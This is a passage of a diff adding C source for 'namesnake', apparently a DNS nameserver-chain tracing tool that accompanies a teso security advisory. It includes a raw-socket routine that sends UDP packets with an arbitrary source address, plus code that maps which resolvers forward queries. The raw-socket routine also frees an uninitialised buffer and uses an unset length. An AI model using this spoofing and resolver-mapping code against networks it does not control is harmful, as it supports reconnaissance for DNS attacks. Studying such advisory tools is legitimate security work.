| 28 | |||
| 29 | if (ul->socket != 0) | ||
| 30 | close (ul->socket); | ||
| 31 | |||
| 32 | free (ul); | ||
| 33 | |||
| 34 | return; | ||
| 35 | } | ||
| 36 | |||
| 37 | |||
| 38 | udp_listen * | ||
| 39 | udp_setup (char *ip, unsigned short int port) | ||
| 40 | { | ||
| 41 | int n; /* temporary return value */ | ||
| 42 | udp_listen *new = xcalloc (1, sizeof (udp_listen)); | ||
| 43 | |||
| 44 | new->addr_serv.sin_family = AF_INET; | ||
| 45 | new->addr_serv.sin_port = htons (port); | ||
| 46 | |||
| 47 | if (ip == NULL) { | ||
| 48 | new->addr_serv.sin_addr.s_addr = htonl (INADDR_ANY); | ||
| 49 | } else { | ||
| 50 | new->addr_serv.sin_addr.s_addr = net_resolve (ip); | ||
| 51 | if (new->addr_serv.sin_addr.s_addr == 0) | ||
| 52 | goto u_fail; | ||
| 53 | } | ||
| 54 | |||
| 55 | new->port = port; | ||
| 56 | |||
| 57 | /* aquire udp socket | ||
| 58 | */ | ||
| 59 | new->socket = socket (AF_INET, SOCK_DGRAM, 0); | ||
| 60 | if (new->socket == -1) | ||
| 61 | goto u_fail; | ||
| 62 | |||
| 63 | n = bind (new->socket, (struct sockaddr *) &new->addr_serv, sizeof (new->addr_serv)); | ||
| 64 | if (n == -1) | ||
| 65 | goto u_fail; | ||
| 66 | |||
| 67 | return (new); | ||
| 68 | |||
| 69 | u_fail: | ||
| 70 | if (new->socket != 0) | ||
| 71 | close (new->socket); | ||
| 72 | |||
| 73 | free (new); | ||
| 74 | |||
| 75 | return (NULL); | ||
| 76 | } | ||
| 77 | |||
| 78 | |||
| 79 | void | ||
| 80 | udp_rcv_free (udp_rcv *ur) | ||
| 81 | { | ||
| 82 | if (ur == NULL) | ||
| 83 | return; | ||
| 84 | |||
| 85 | if (ur->udp_data != NULL) | ||
| 86 | free (ur->udp_data); | ||
| 87 | |||
| 88 | free (ur); | ||
| 89 | |||
| 90 | return; | ||
| 91 | } | ||
| 92 | |||
| 93 | |||
| 94 | udp_rcv * | ||
| 95 | udp_receive (udp_listen *ul, struct timeval *tv) | ||
| 96 | { | ||
| 97 | int n; /* temporary return value */ | ||
| 98 | udp_rcv *u_rcv; /* new received udp datagram */ | ||
| 99 | unsigned char *u_packet; | ||
| 100 | socklen_t len; | ||
| 101 | fd_set fds; | ||
| 102 | |||
| 103 | if (ul == NULL) | ||
| 104 | return (NULL); | ||
| 105 | |||
| 106 | u_rcv = xcalloc (1, sizeof (udp_rcv)); | ||
| 107 | u_packet = xcalloc (1, IP_MAXPACKET); | ||
| 108 | |||
| 109 | len = sizeof (struct sockaddr_in); | ||
| 110 | FD_ZERO (&fds); | ||
| 111 | FD_SET (ul->socket, &fds); | ||
| 112 | n = select (ul->socket + 1, &fds, NULL, &fds, tv); | ||
| 113 | if (n <= 0) | ||
| 114 | goto ur_fail; | ||
| 115 | |||
| 116 | n = recvfrom (ul->socket, u_packet, IP_MAXPACKET, 0, | ||
| 117 | &u_rcv->addr_client, &len); | ||
| 118 | if (n == -1) | ||
| 119 | goto ur_fail; | ||
| 120 | |||
| 121 | /* save time the packet was received and copy the received data | ||
| 122 | */ | ||
| 123 | gettimeofday (&u_rcv->udp_time, NULL); | ||
| 124 | xrealloc (u_packet, n); | ||
| 125 | u_rcv->udp_data = u_packet; | ||
| 126 | u_rcv->udp_len = n; | ||
| 127 | ul->count++; | ||
| 128 | |||
| 129 | return (u_rcv); | ||
| 130 | |||
| 131 | ur_fail: | ||
| 132 | free (u_rcv); | ||
| 133 | free (u_packet); | ||
| 134 | |||
| 135 | return (NULL); | ||
| 136 | } | ||
| 137 | |||
| 138 | |||
| 139 | void | ||
| 140 | udp_write (char *ip, unsigned short int port, unsigned char *data, | ||
| 141 | size_t data_len) | ||
| 142 | { | ||
| 143 | int udp_sockfd; | ||
| 144 | struct sockaddr_in udp_to; | ||
| 145 | |||
| 146 | udp_sockfd = socket (AF_INET, SOCK_DGRAM, 0); | ||
| 147 | if (udp_sockfd == -1) | ||
| 148 | return; | ||
| 149 | |||
| 150 | memset (&udp_to, '\0', sizeof (udp_to)); | ||
| 151 | udp_to.sin_family = AF_INET; | ||
| 152 | udp_to.sin_addr.s_addr = net_resolve (ip); | ||
| 153 | udp_to.sin_port = htons (port); | ||
| 154 | |||
| 155 | /* send packet | ||
| 156 | */ | ||
| 157 | sendto (udp_sockfd, data, data_len, 0, &udp_to, sizeof (udp_to)); | ||
| 158 | |||
| 159 | close (udp_sockfd); | ||
| 160 | |||
| 161 | return; | ||
| 162 | } | ||
| 163 | |||
| 164 | |||
| 165 | void | ||
| 166 | udp_send (char *ip_src, unsigned short int port_src, | ||
| 167 | char *ip_dst, unsigned short int port_dst, | ||
| 168 | unsigned char *data, size_t data_len) | ||
| 169 | { | ||
| 170 | unsigned char *data_enc, | ||
| 171 | *pkt_buf; | ||
| 172 | unsigned short int port_a_src; | ||
| 173 | size_t len; | ||
| 174 | char *ip_a_src; | ||
| 175 | int raw_socket; | ||
| 176 | |||
| 177 | ip_a_src = (ip_src == NULL) ? net_getlocalip () : xstrdup (ip_src); | ||
| 178 | port_a_src = (port_src == 0) ? libnet_get_prand (PRu16) : port_src; | ||
| 179 | pkt_buf = xcalloc (1, data_len + IP_H + UDP_H); | ||
| 180 | |||
| 181 | libnet_build_ip (UDP_H + len, /* content length */ | ||
| 182 | 0, /* ip type of service */ | ||
| 183 | libnet_get_prand (PRu16), /* ip id */ | ||
| 184 | 0, /* we don't fragment */ | ||
| 185 | 64, /* ip ttl */ | ||
| 186 | IPPROTO_UDP, /* ip subproto */ | ||
| 187 | libnet_name_resolve (ip_a_src, 0), /* ip source address */ | ||
| 188 | libnet_name_resolve (ip_dst, 0),/* ip destination address */ | ||
| 189 | NULL, 0, /* payload */ | ||
| 190 | pkt_buf); | ||
| 191 | |||
| 192 | libnet_build_udp (port_a_src, /* source port */ | ||
| 193 | port_dst, /* destination port */ | ||
| 194 | data, /* payload r0x0r */ | ||
| 195 | data_len, /* payload length */ | ||
| 196 | pkt_buf + IP_H); | ||
| 197 | |||
| 198 | raw_socket = libnet_open_raw_sock (IPPROTO_RAW); | ||
| 199 | |||
| 200 | if (raw_socket != -1) { | ||
| 201 | libnet_write_ip (raw_socket, pkt_buf, IP_H + UDP_H + len); | ||
| 202 | |||
| 203 | close (raw_socket); | ||
| 204 | } | ||
| 205 | |||
| 206 | free (pkt_buf); | ||
| 207 | free (data_enc); | ||
| 208 | free (ip_a_src); | ||
| 209 | |||
| 210 | return; | ||
| 211 | } | ||
| 212 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/io-udp.h b/advisories/teso-advisory-003/namesnake/src/io-udp.h new file mode 100644 index 0000000..8a6775a --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/io-udp.h | |||
| @@ -0,0 +1,121 @@ | |||
| 1 | /* namesnake | ||
| 2 | * | ||
| 3 | * by scut | ||
| 4 | * | ||
| 5 | * udp packet routines include file | ||
| 6 | */ | ||
| 7 | |||
| 8 | #ifndef _FNX_IO_UDP_H | ||
| 9 | #define _FNX_IO_UDP_H | ||
| 10 | |||
| 11 | #include <sys/types.h> | ||
| 12 | #include <sys/socket.h> | ||
| 13 | #include <sys/time.h> | ||
| 14 | #include <netinet/in.h> | ||
| 15 | #include <arpa/inet.h> | ||
| 16 | #include <unistd.h> | ||
| 17 | #include <stdio.h> | ||
| 18 | |||
| 19 | |||
| 20 | /* udp receival entity | ||
| 21 | */ | ||
| 22 | |||
| 23 | typedef struct udp_listen { | ||
| 24 | unsigned long int count; /* number of packets received */ | ||
| 25 | struct in_addr ip; /* ip to receive data on */ | ||
| 26 | unsigned short int port; /* port to receive data on */ | ||
| 27 | int socket; /* listening socket */ | ||
| 28 | struct sockaddr_in addr_serv; | ||
| 29 | } udp_listen; | ||
| 30 | |||
| 31 | |||
| 32 | /* udp datagram structure | ||
| 33 | */ | ||
| 34 | |||
| 35 | typedef struct udp_rcv { | ||
| 36 | struct sockaddr_in addr_client; /* source address */ | ||
| 37 | struct timeval udp_time; /* time of receival */ | ||
| 38 | socklen_t udp_len; /* length of the udp datagramm */ | ||
| 39 | unsigned char *udp_data; /* received udp datagramm */ | ||
| 40 | } udp_rcv; | ||
| 41 | |||
| 42 | |||
| 43 | /* udp_listen_free | ||
| 44 | * | ||
| 45 | * free a udp_listen structure pointed to by `ul' | ||
| 46 | * | ||
| 47 | * return in any case | ||
| 48 | */ | ||
| 49 | |||
| 50 | void udp_listen_free (udp_listen *ul); | ||
| 51 | |||
| 52 | |||
| 53 | /* udp_setup | ||
| 54 | * | ||
| 55 | * start a new listening udp service with the bound ip `ip', which can be | ||
| 56 | * either a numeric ip address or "*" (or NULL) for all locally available | ||
| 57 | * ip addresses. the listening port is `port'. | ||
| 58 | * | ||
| 59 | * return NULL on failure | ||
| 60 | * return a pointer to a udp_listen structure on success | ||
| 61 | */ | ||
| 62 | |||
| 63 | udp_listen *udp_setup (char *ip, unsigned short int port); | ||
| 64 | |||
| 65 | |||
| 66 | /* udp_rcv_free | ||
| 67 | * | ||
| 68 | * free a udp_rcv structure pointed to by `ur' | ||
| 69 | * | ||
| 70 | * return in any case | ||
| 71 | */ | ||
| 72 | |||
| 73 | void udp_rcv_free (udp_rcv *ur); | ||
| 74 | |||
| 75 | |||
| 76 | /* udp_receive | ||
| 77 | * | ||
| 78 | * receive an udp datagramm on the network entity specified by the `ul' | ||
| 79 | * structure | ||
| 80 | * | ||
| 81 | * return NULL on failure | ||
| 82 | * return a pointer to a new udp_rcv structure on success | ||
| 83 | */ | ||
| 84 | |||
| 85 | udp_rcv *udp_receive (udp_listen *ul, struct timeval *tv); | ||
| 86 | |||
| 87 | |||
| 88 | /* udp_write | ||
| 89 | * | ||
| 90 | * send an udp datagram using the system level datagram sockets. send | ||
| 91 | * `data_len' bytes from `data' to the host with the ip `ip' on port | ||
| 92 | * `port' | ||
| 93 | * | ||
| 94 | * return in any case | ||
| 95 | */ | ||
| 96 | |||
| 97 | void | ||
| 98 | udp_write (char *ip, unsigned short int port, unsigned char *data, | ||
| 99 | size_t data_len); | ||
| 100 | |||
| 101 | |||
| 102 | /* udp_send | ||
| 103 | * | ||
| 104 | * send an udp datagram using raw socket. the datagram will be assigned the | ||
| 105 | * source ip address of the local host if `ip_src' is NULL and the source IP | ||
| 106 | * address `ip_src' if it is not. the source port will be random if `port_src' | ||
| 107 | * equals zero, else it is assigned the value of it. | ||
| 108 | * the destination ip address is `ip_dst', the destination port is `port_dst'.. | ||
| 109 | * the payload is `data', which is `data_len' bytes long. the data will be | ||
| 110 | * encrypted with `key' if it is not NULL. | ||
| 111 | * | ||
| 112 | * return in any case | ||
| 113 | */ | ||
| 114 | |||
| 115 | void udp_send (char *ip_src, unsigned short int port_src, | ||
| 116 | char *ip_dst, unsigned short int port_dst, | ||
| 117 | unsigned char *data, size_t data_len); | ||
| 118 | |||
| 119 | |||
| 120 | #endif | ||
| 121 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/namesnake.c b/advisories/teso-advisory-003/namesnake/src/namesnake.c new file mode 100644 index 0000000..4db4607 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/namesnake.c | |||
| @@ -0,0 +1,271 @@ | |||
| 1 | /* namesnake - dns path discovery and measurement tool | ||
| 2 | * | ||
| 3 | * by scut of teso | ||
| 4 | * | ||
| 5 | * main file | ||
| 6 | */ | ||
| 7 | |||
| 8 | #define VERSION "0.0.2" | ||
| 9 | #define AUTHORS "scut of teso" | ||
| 10 | |||
| 11 | #include <sys/types.h> | ||
| 12 | #include <netinet/in.h> | ||
| 13 | #include <time.h> | ||
| 14 | #include <stdlib.h> | ||
| 15 | #include <stdio.h> | ||
| 16 | #include "common.h" | ||
| 17 | #include "network.h" | ||
| 18 | #include "dns-build.h" | ||
| 19 | #include "dns.h" | ||
| 20 | #include "io-udp.h" | ||
| 21 | |||
| 22 | |||
| 23 | typedef struct { | ||
| 24 | char * ip; | ||
| 25 | int count_resp; | ||
| 26 | } ns; | ||
| 27 | |||
| 28 | char * ns_domain; | ||
| 29 | |||
| 30 | int usage (char *program); | ||
| 31 | ns ** ns_hop_trace (char *ip_snake, char *domain_our); | ||
| 32 | void snakeprint (ns **list, int indent); | ||
| 33 | int snakequick (char *ip_snake, char *domain_our); | ||
| 34 | int snake (char *ip_snake, char *domain_our); | ||
| 35 | |||
| 36 | char * mode = "trace"; | ||
| 37 | char * ip_local = NULL; | ||
| 38 | udp_listen * ul; | ||
| 39 | |||
| 40 | |||
| 41 | int | ||
| 42 | usage (char *program) | ||
| 43 | { | ||
| 44 | printf ("usage: %s <ourdomain> <nameserver> [mode]\n\n" | ||
| 45 | "ourdomain the domain that references to our current ip\n" | ||
| 46 | "nameserver the startpoint for the nameserver chain to trace\n" | ||
| 47 | "mode either \"quick\" or \"trace\"\n\n", | ||
| 48 | program); | ||
| 49 | |||
| 50 | exit (EXIT_FAILURE); | ||
| 51 | } | ||
| 52 | |||
| 53 | |||
| 54 | int | ||
| 55 | main (int argc, char **argv) | ||
| 56 | { | ||
| 57 | char * ip_bind = NULL; | ||
| 58 | |||
| 59 | printf ("namesnake "VERSION" by "AUTHORS"\n\n"); | ||
| 60 | |||
| 61 | if (argc < 3) | ||
| 62 | usage (argv[0]); | ||
| 63 | |||
| 64 | if (argc == 4 && strcmp (argv[3], "quick") == 0) | ||
| 65 | mode = argv[3]; | ||
| 66 | |||
| 67 | ip_local = net_getlocalip (); | ||
| 68 | ul = udp_setup (ip_bind, 53); | ||
| 69 | if (ul == NULL) { | ||
| 70 | fprintf (stderr, "failed to bind to port 53, try specifying a local ip to bind to\n"); | ||
| 71 | exit (EXIT_FAILURE); | ||
| 72 | } | ||
| 73 | |||
| 74 | printf ("[ns] listener bound to %s:53\n", (ip_bind == NULL) ? "*" : ip_bind); | ||
| 75 | printf ("[ns] tracing %s through the help of our domain %s\n", argv[2], argv[1]); | ||
| 76 | printf ("===============================================================================\n"); | ||
| 77 | |||
| 78 | srandom (time (NULL)); | ||
| 79 | |||
| 80 | if (strcmp (mode, "quick") == 0) | ||
| 81 | snakequick (argv[2], argv[1]); | ||
| 82 | else | ||
| 83 | snake (argv[2], argv[1]); | ||
| 84 | |||
| 85 | udp_listen_free (ul); | ||
| 86 | exit (EXIT_SUCCESS); | ||
| 87 | } | ||
| 88 | |||
| 89 | |||
| 90 | ns ** | ||
| 91 | ns_hop_trace (char *ip_snake, char *domain_our) | ||
| 92 | { | ||
| 93 | ns ** ns_ret = NULL; | ||
| 94 | int ns_entry_count = 0; | ||
| 95 | char * ip; | ||
| 96 | int i,m; | ||
| 97 | dns_pdata * dp; | ||
| 98 | char * querydomain; | ||
| 99 | int count = 0; | ||
| 100 | udp_rcv * ur; | ||
| 101 | struct timeval tv_start; | ||
| 102 | struct timeval tv; | ||
| 103 | int bc = 0; | ||
| 104 | |||
| 105 | gettimeofday (&tv_start, NULL); | ||
| 106 | |||
| 107 | /* construct and send dns query | ||
| 108 | */ | ||
| 109 | dp = dns_build_new (); | ||
| 110 | querydomain = dns_build_random (domain_our, 0); | ||
| 111 | dns_build_q (dp, querydomain, T_A, C_IN); | ||
| 112 | dns_packet_send (ip_local, ip_snake, m_random (1024, 65535), 53, | ||
| 113 | m_random (1, 65535), DF_RD, 1, 0, 0, 0, dp); | ||
| 114 | dns_build_destroy (dp); | ||
| 115 | |||
| 116 | while (bc == 0) { | ||
| 117 | struct timeval tv_now; | ||
| 118 | |||
| 119 | gettimeofday (&tv_now, NULL); | ||
| 120 | tv.tv_sec = 140 - (tv_now.tv_sec - tv_start.tv_sec); | ||
| 121 | tv.tv_usec = 0; | ||
| 122 | |||
| 123 | ur = NULL; | ||
| 124 | if ((tv_now.tv_sec - tv_start.tv_sec) >= 0) | ||
| 125 | ur = udp_receive (ul, &tv); | ||
| 126 | |||
| 127 | if (ur != NULL) { | ||
| 128 | dns_handle ((dns_hdr *) ur->udp_data, ur->udp_data + sizeof (dns_hdr), ur->udp_len, 0); | ||
| 129 | if (strcmp (querydomain, ns_domain) == 0) { | ||
| 130 | count++; | ||
| 131 | |||
| 132 | net_printipa ((struct in_addr *) & ur->addr_client.sin_addr, &ip); | ||
| 133 | m = 0; | ||
| 134 | for (i = 0 ; ns_ret != NULL && ns_ret[i] != NULL ; ++i) { | ||
| 135 | if (strcmp (ns_ret[i]->ip, ip) == 0) { | ||
| 136 | ns_ret[i]->count_resp += 1; | ||
| 137 | m = 1; | ||
| 138 | } | ||
| 139 | } | ||
| 140 | if (m == 0) { | ||
| 141 | ns_entry_count += 1; | ||
| 142 | ns_ret = xrealloc (ns_ret, (ns_entry_count + 1) * sizeof (ns *)); | ||
| 143 | ns_ret[ns_entry_count] = NULL; | ||
| 144 | ns_ret[ns_entry_count - 1] = xcalloc (1, sizeof (ns)); | ||
| 145 | |||
| 146 | ns_ret[ns_entry_count - 1]->ip = ip; | ||
| 147 | ns_ret[ns_entry_count - 1]->count_resp = 1; | ||
| 148 | } | ||
| 149 | } else { | ||
| 150 | printf ("*!* received unrelated packet\n"); | ||
| 151 | } | ||
| 152 | udp_rcv_free (ur); | ||
| 153 | free (ns_domain); | ||
| 154 | } | ||
| 155 | |||
| 156 | if (ur == NULL) | ||
| 157 | bc = 1; | ||
| 158 | } | ||
| 159 | |||
| 160 | free (querydomain); | ||
| 161 | |||
| 162 | return (ns_ret); | ||
| 163 | |||
| 164 | } | ||
| 165 | |||
| 166 | |||
| 167 | int | ||
| 168 | snakequick (char *ip_snake, char *domain_our) | ||
| 169 | { | ||
| 170 | char * ip; | ||
| 171 | dns_pdata * dp; | ||
| 172 | char * querydomain; | ||
| 173 | int count = 0; | ||
| 174 | udp_rcv * ur; | ||
| 175 | struct timeval tv_start; | ||
| 176 | struct timeval tv; | ||
| 177 | int bc = 0; | ||
| 178 | |||
| 179 | gettimeofday (&tv_start, NULL); | ||
| 180 | |||
| 181 | /* construct and send dns query | ||
| 182 | */ | ||
| 183 | dp = dns_build_new (); | ||
| 184 | querydomain = dns_build_random (domain_our, 0); | ||
| 185 | dns_build_q (dp, querydomain, T_A, C_IN); | ||
| 186 | dns_packet_send (ip_local, ip_snake, m_random (1024, 65535), 53, | ||
| 187 | m_random (1, 65535), DF_RD, 1, 0, 0, 0, dp); | ||
| 188 | dns_build_destroy (dp); | ||
| 189 | printf ("asking for %s\n", querydomain); | ||
| 190 | free (querydomain); | ||
| 191 | |||
| 192 | while (bc == 0) { | ||
| 193 | struct timeval tv_now; | ||
| 194 | |||
| 195 | gettimeofday (&tv_now, NULL); | ||
| 196 | tv.tv_sec = 90 - (tv_now.tv_sec - tv_start.tv_sec); | ||
| 197 | tv.tv_usec = 0; | ||
| 198 | |||
| 199 | ur = NULL; | ||
| 200 | if ((tv_now.tv_sec - tv_start.tv_sec) >= 0) | ||
| 201 | ur = udp_receive (ul, &tv); | ||
| 202 | |||
| 203 | if (ur != NULL) { | ||
| 204 | count++; | ||
| 205 | net_printipa ((struct in_addr *) & ur->addr_client.sin_addr, &ip); | ||
| 206 | printf ("%s\t== ", ip); | ||
| 207 | dns_handle ((dns_hdr *) ur->udp_data, ur->udp_data + sizeof (dns_hdr), ur->udp_len, 1); | ||
| 208 | udp_rcv_free (ur); | ||
| 209 | } | ||
| 210 | |||
| 211 | if (ur == NULL) | ||
| 212 | bc = 1; | ||
| 213 | } | ||
| 214 | |||
| 215 | fprintf (stderr, "%s %d\n", ip_snake, count); | ||
| 216 | |||
| 217 | return (1); | ||
| 218 | } | ||
| 219 | |||
| 220 | |||
| 221 | void | ||
| 222 | snakeprint (ns **list, int indent) | ||
| 223 | { | ||
| 224 | int walker, | ||
| 225 | indent_tmp; | ||
| 226 | |||
| 227 | if (list == NULL) | ||
| 228 | return; | ||
| 229 | |||
| 230 | for (walker = 0 ; list[walker] != NULL ; ++walker) { | ||
| 231 | for (indent_tmp = indent ; indent_tmp > 0 ; --indent_tmp) { | ||
| 232 | printf ("\t"); | ||
| 233 | } | ||
| 234 | printf ("%3d %s\n", list[walker]->count_resp, list[walker]->ip); | ||
| 235 | } | ||
| 236 | |||
| 237 | return; | ||
| 238 | } | ||
| 239 | |||
| 240 | |||
| 241 | int | ||
| 242 | snake (char *ip_snake, char *domain_our) | ||
| 243 | { | ||
| 244 | ns *** pathway; | ||
| 245 | ns ** base; | ||
| 246 | int walker; | ||
| 247 | int ns_count; | ||
| 248 | |||
| 249 | |||
| 250 | base = ns_hop_trace (ip_snake, domain_our); | ||
| 251 | if (base == NULL || base[0] == NULL) | ||
| 252 | return (0); | ||
| 253 | |||
| 254 | printf ("%s\n", ip_snake); | ||
| 255 | snakeprint (base, 1); | ||
| 256 | for (ns_count = 0 ; base[ns_count] != NULL ; ++ns_count) | ||
| 257 | ; | ||
| 258 | printf ("======== tracing pathway of %d servers ========\n", ns_count); | ||
| 259 | |||
| 260 | ns_count += 1; | ||
| 261 | pathway = xcalloc (1, sizeof (ns **) * (ns_count)); | ||
| 262 | for (walker = 0 ; base[walker] != NULL ; ++walker) { | ||
| 263 | printf ("=== %s\n", base[walker]->ip); | ||
| 264 | pathway[walker] = ns_hop_trace (base[walker]->ip, domain_our); | ||
| 265 | snakeprint (pathway[walker], 1); | ||
| 266 | } | ||
| 267 | |||
| 268 | return (1); | ||
| 269 | } | ||
| 270 | |||
| 271 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/network.c b/advisories/teso-advisory-003/namesnake/src/network.c new file mode 100644 index 0000000..4d56546 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/network.c | |||
| @@ -0,0 +1,362 @@ | |||
| 1 | /* namesnake | ||
| 2 | * | ||
| 3 | * network primitives | ||
| 4 | * | ||
| 5 | * by scut | ||
| 6 | * | ||
| 7 | * nearly all of this code wouldn't have been possible without w. richard stevens | ||
| 8 | * excellent network coding book. if you are interested in network coding, | ||
| 9 | * there is no way around it. | ||
| 10 | */ | ||
| 11 | |||
| 12 | #include <sys/types.h> | ||
| 13 | #include <sys/ioctl.h> | ||
| 14 | #include <sys/socket.h> | ||
| 15 | #include <sys/time.h> | ||
| 16 | #include <arpa/inet.h> | ||
| 17 | #include <netdb.h> | ||
| 18 | #include <net/if.h> | ||
| 19 | #include <netinet/in.h> | ||
| 20 | #include <errno.h> | ||
| 21 | #include <fcntl.h> | ||
| 22 | #include <stdarg.h> | ||
| 23 | #include <stdio.h> | ||
| 24 | #include <stdlib.h> | ||
| 25 | #include <string.h> | ||
| 26 | #include <unistd.h> | ||
| 27 | #include "common.h" | ||
| 28 | #include "network.h" | ||
| 29 | |||
| 30 | |||
| 31 | int | ||
| 32 | net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, | ||
| 33 | int sec) | ||
| 34 | { | ||
| 35 | int n, len, error, flags; | ||
| 36 | int fd; | ||
| 37 | struct timeval tv; | ||
| 38 | struct sockaddr_in tmp_cs; | ||
| 39 | fd_set rset, wset; | ||
| 40 | |||
| 41 | |||
| 42 | if (cs == NULL) | ||
| 43 | cs = &tmp_cs; | ||
| 44 | |||
| 45 | /* first allocate a socket */ | ||
| 46 | cs->sin_family = AF_INET; | ||
| 47 | cs->sin_port = htons (port); | ||
| 48 | fd = socket (cs->sin_family, SOCK_STREAM, 0); | ||
| 49 | if (fd == -1) | ||
| 50 | return (-1); | ||
| 51 | |||
| 52 | if (!(cs->sin_addr.s_addr = net_resolve (server))) { | ||
| 53 | close (fd); | ||
| 54 | |||
| 55 | return (-1); | ||
| 56 | } | ||
| 57 | |||
| 58 | flags = fcntl (fd, F_GETFL, 0); | ||
| 59 | if (flags == -1) { | ||
| 60 | close (fd); | ||
| 61 | |||
| 62 | return (-1); | ||
| 63 | } | ||
| 64 | |||
| 65 | n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); | ||
| 66 | if (n == -1) { | ||
| 67 | close (fd); | ||
| 68 | |||
| 69 | return (-1); | ||
| 70 | } | ||
| 71 | |||
| 72 | error = 0; | ||
| 73 | |||
| 74 | n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); | ||
| 75 | if (n < 0) { | ||
| 76 | if (errno != EINPROGRESS) { | ||
| 77 | close (fd); | ||
| 78 | |||
| 79 | return (-1); | ||
| 80 | } | ||
| 81 | } | ||
| 82 | if (n == 0) | ||
| 83 | goto done; | ||
| 84 | |||
| 85 | FD_ZERO (&rset); | ||
| 86 | FD_ZERO (&wset); | ||
| 87 | FD_SET (fd, &rset); | ||
| 88 | FD_SET (fd, &wset); | ||
| 89 | tv.tv_sec = sec; | ||
| 90 | tv.tv_usec = 0; | ||
| 91 | |||
| 92 | n = select (fd + 1, &rset, &wset, NULL, &tv); | ||
| 93 | if (n == 0) { | ||
| 94 | close (fd); | ||
| 95 | errno = ETIMEDOUT; | ||
| 96 | |||
| 97 | return (-1); | ||
| 98 | } | ||
| 99 | if (n == -1) | ||
| 100 | return (-1); | ||
| 101 | |||
| 102 | if (FD_ISSET (fd, &rset) || FD_ISSET (fd, &wset)) { | ||
| 103 | if (FD_ISSET (fd, &rset) && FD_ISSET (fd, &wset)) { | ||
| 104 | len = sizeof (error); | ||
| 105 | if (getsockopt (fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { | ||
| 106 | errno = ETIMEDOUT; | ||
| 107 | return (-1); | ||
| 108 | } | ||
| 109 | if (error == 0) { | ||
| 110 | goto done; | ||
| 111 | } else { | ||
| 112 | errno = error; | ||
| 113 | return (-1); | ||
| 114 | } | ||
| 115 | } | ||
| 116 | } else | ||
| 117 | return (-1); | ||
| 118 | |||
| 119 | done: | ||
| 120 | n = fcntl (fd, F_SETFL, flags); | ||
| 121 | if (n == -1) | ||
| 122 | return (-1); | ||
| 123 | return (fd); | ||
| 124 | } | ||
| 125 | |||
| 126 | |||
| 127 | int | ||
| 128 | net_accept (int s, struct sockaddr_in *cs, int maxsec) | ||
| 129 | { | ||
| 130 | int flags, n; | ||
| 131 | fd_set ac_s; | ||
| 132 | int len; | ||
| 133 | struct timeval tval; | ||
| 134 | |||
| 135 | flags = fcntl (s, F_GETFL, 0); | ||
| 136 | if (flags == -1) | ||
| 137 | return (-1); | ||
| 138 | n = fcntl (s, F_SETFL, flags | O_NONBLOCK); | ||
| 139 | if (flags == -1) | ||
| 140 | return (-1); | ||
| 141 | |||
| 142 | FD_ZERO (&ac_s); | ||
| 143 | FD_SET (s, &ac_s); | ||
| 144 | tval.tv_sec = maxsec; | ||
| 145 | tval.tv_usec = 0; | ||
| 146 | |||
| 147 | n = select (s + 1, &ac_s, NULL, NULL, maxsec ? &tval : NULL); | ||
| 148 | if (n == 0) | ||
| 149 | return (0); | ||
| 150 | |||
| 151 | if (FD_ISSET (s, &ac_s)) { | ||
| 152 | len = sizeof (struct sockaddr_in); | ||
| 153 | n = accept (s, (struct sockaddr *) cs, &len); | ||
| 154 | if (n == -1) { | ||
| 155 | switch (errno) { | ||
| 156 | case EWOULDBLOCK: | ||
| 157 | case ECONNABORTED: | ||
| 158 | case EPROTO: | ||
| 159 | case EINTR: if (fcntl (s, F_SETFL, flags) == -1) | ||
| 160 | return (-1); | ||
| 161 | return (0); | ||
| 162 | default: return (-1); | ||
| 163 | } | ||
| 164 | } | ||
| 165 | if (fcntl (s, F_SETFL, flags) == -1) | ||
| 166 | return (-1); | ||
| 167 | return (n); | ||
| 168 | } | ||
| 169 | if (fcntl (s, F_SETFL, flags) == -1) | ||
| 170 | return (-1); | ||
| 171 | |||
| 172 | return (0); | ||
| 173 | } | ||
| 174 | |||
| 175 | |||
| 176 | void | ||
| 177 | net_boundfree (bound *bf) | ||
| 178 | { | ||
| 179 | close (bf->bs); | ||
| 180 | free (bf); | ||
| 181 | |||
| 182 | return; | ||
| 183 | } | ||
| 184 | |||
| 185 | |||
| 186 | bound * | ||
| 187 | net_bind (char *ip, unsigned short int port) | ||
| 188 | { | ||
| 189 | bound *b; | ||
| 190 | int br, gsnr, lr; | ||
| 191 | int len, reusetmp; | ||
| 192 | struct sockaddr_in *sap; | ||
| 193 | |||
| 194 | if (port >= 65536) | ||
| 195 | return (NULL); | ||
| 196 | |||
| 197 | b = xcalloc (1, sizeof (bound)); | ||
| 198 | b->bs = socket (AF_INET, SOCK_STREAM, 0); | ||
| 199 | if (b->bs == -1) | ||
| 200 | goto berror; | ||
| 201 | |||
| 202 | reusetmp = 1; | ||
| 203 | #ifdef SO_REUSEPORT | ||
| 204 | if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEPORT, &reusetmp, sizeof (reusetmp)) == -1) | ||
| 205 | goto berror; | ||
| 206 | #else | ||
| 207 | if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEADDR, &reusetmp, sizeof (reusetmp)) == -1) | ||
| 208 | goto berror; | ||
| 209 | #endif | ||
| 210 | |||
| 211 | sap = (struct sockaddr_in *) &b->bsa; | ||
| 212 | sap->sin_family = AF_INET; | ||
| 213 | sap->sin_port = htons (port); /* 0 = ephemeral */ | ||
| 214 | |||
| 215 | if (ip != NULL) { | ||
| 216 | if (strcmp (ip, "*") == 0) { | ||
| 217 | sap->sin_addr.s_addr = htonl (INADDR_ANY); | ||
| 218 | } else { | ||
| 219 | if (!(sap->sin_addr.s_addr = net_resolve (ip))) { | ||
| 220 | goto berror; | ||
| 221 | } | ||
| 222 | } | ||
| 223 | } else { | ||
| 224 | sap->sin_addr.s_addr = htonl (INADDR_ANY); | ||
| 225 | } | ||
| 226 | |||
| 227 | br = bind (b->bs, (struct sockaddr *) &b->bsa, sizeof (struct sockaddr)); | ||
| 228 | if (br == -1) | ||
| 229 | goto berror; | ||
| 230 | |||
| 231 | len = sizeof (struct sockaddr); | ||
